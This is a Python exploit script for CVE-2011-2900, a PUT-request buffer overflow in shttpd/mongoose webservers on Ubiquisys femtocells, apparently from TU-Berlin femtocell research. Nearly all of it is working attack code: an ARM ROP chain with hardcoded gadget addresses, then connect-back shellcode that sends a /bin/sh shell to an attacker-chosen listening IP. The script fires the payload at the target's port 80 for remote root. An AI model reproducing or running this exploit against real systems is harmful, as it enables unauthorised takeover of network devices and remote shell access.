Simple HTTPd 1.42 PUT Buffer Overflow

`#!/usr/bin/env python  
# part of femtocell research by TU-Berlin  
# only for educational purposes  
# Exploit Title: remote root on sfr/ubiquisys femtocell webserver (wsal/shttpd/mongoose)  
# Date: 2011-08-02  
# Author: nion  
# Software: http://code.google.com/p/mongoose/ http://sourceforge.net/projects/shttpd/  
# Version: shttpd <= 1.42, mongoose <= 3.0  
# CVE: CVE-2011-2900  
# Tested on: Linux (proprietary embedded distro) Linux 2.6.18-ubi-sys-V2.0.17  
  
import socket, sys, time  
import urllib, struct  
  
if(len(sys.argv) < 3):  
print sys.argv[0] + " <target ip> <listening ip>"  
sys.exit(-1)  
  
target = sys.argv[1]  
listener = sys.argv[2]  
  
SHELLCODE = 0xbc568 # shellcode backup in connect struct, heap is not randomized  
STACK_LIFT = "%a0%ce%31%40" # didnt want to use urllib to encode at this point  
# because it moves the heap address depending on if character is printable or not  
# and i was too lazy to adjust the payload when cleaning up the exploit :)  
  
buf = "PUT /"  
buf += "A" * 107 # first fill bytes will not be 148 because stack layout looks different when leaving put_dir()  
buf += STACK_LIFT  
  
# repeated stack lifting  
for i in xrange(0, 26):  
buf += "A" * 148  
buf += STACK_LIFT  
  
buf += "B"*132 # padding to overwrite pc, last jump will go over this one  
buf += STACK_LIFT # this will hit pc and produce our first jump  
# add sp, sp, #132; pop {r4, r5, r6, r7, pc}  
  
buf += "A"*12 # this will be our last stack lifting after  
buf += STACK_LIFT # jumping through our buffer back up  
  
# lets finish the path chunk and make some padding for the  
# last stack lift before pc gets popped to a different place  
buf+="AAAAAAAAA/"+"A"*138  
  
  
# first jump  
buf += urllib.quote(struct.pack("<L", 0x4032a410))  
# --,  
# v  
# prepare lr so we can properly return from __clear_cache  
# 0x4032a410 <makecontext+28>: pop {lr} ; (ldr lr, [sp], #4)  
# 0x4032a414 <makecontext+32>: add sp, sp, #8 ; 0x8  
# 0x4032a418 <makecontext+36>: bx lr  
buf+=urllib.quote(struct.pack("<L", 0x403e937c)) # free_slotinfo+128, return from __clear_cache  
buf+="DDDDDDDD" # skip sp lifting, 8 dummy bytes because sp is lifted before branching  
  
# --, bx lr  
# v  
# 0x403e937c <free_slotinfo+128>: pop {r4, pc}  
buf+="CCCC" # dummy r4  
buf+=urllib.quote(struct.pack("<L", 0x402e5064)) # __aeabi_cfcmple+16  
# --,  
# v  
# 0x402e5064 <__aeabi_cfcmple+16>: pop {r0, r1, r2, r3, pc}  
buf+="AAAA" # dummy r0  
buf+="CCCC" # dummy r1 (needed for __clear_cache)  
buf+="DDDD"*2 # dummy r2, r3  
buf+=urllib.quote(struct.pack("<L", 0x40364bbc)) # envz_merge+184  
# --,  
# v  
# 0x40364bbc <envz_merge+184>: mov r0, r11  
# 0x40364bc0 <envz_merge+188>: pop {r4, r5, r6, r7, r8, r9, r11, pc}  
# at this point r11 points to an address on the heap in front of  
# our shellcode, e.g. 0xad220  
buf+="FFFF"*7 # dummy r4-r9+r11  
buf+=urllib.quote(struct.pack("<L", 0x402e5484)) # __clear_cache  
# --,  
# v  
# __clear_cache will return to our prepare lr (free_slotinfo+128)  
# 0x403e937c <free_slotinfo+128>: pop {r4, pc}  
buf+="AAAA" # dummy r4  
buf +=urllib.quote(struct.pack("<L", SHELLCODE)) # jump to shellcode  
  
# shellcode + some testing garbage in front of it  
buf += "A"*16 # some garbage padding in front of our payload, could be nops or whatever  
  
# make listener shellcode friendly  
evil_haxxor = urllib.quote("".join([struct.pack("B", int(x)) for x in listener.split('.')]))  
  
# connect back shellcode  
buf += "%01%10%8F%E2%11%FF%2F%E1%02%20%01%21%92%1A%0F%02%19%37%01%DF%06%1C%08%A1%10%22%02%37%01%DF%3F%27%02%21%30%1c%01%df%01%39%FB%D5%05%A0%92%1A%05%b4%69%46%0b%27%01%DF%C0%46%02%00%11%5c" + evil_haxxor + "%2f%62%69%6e%2f%73%68%00/ HTTP/1.0\r\n"  
  
  
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
s.connect((target, 80))  
s.send(buf)  
s.send("\r\n")  
print s.recv(1024)  
  
`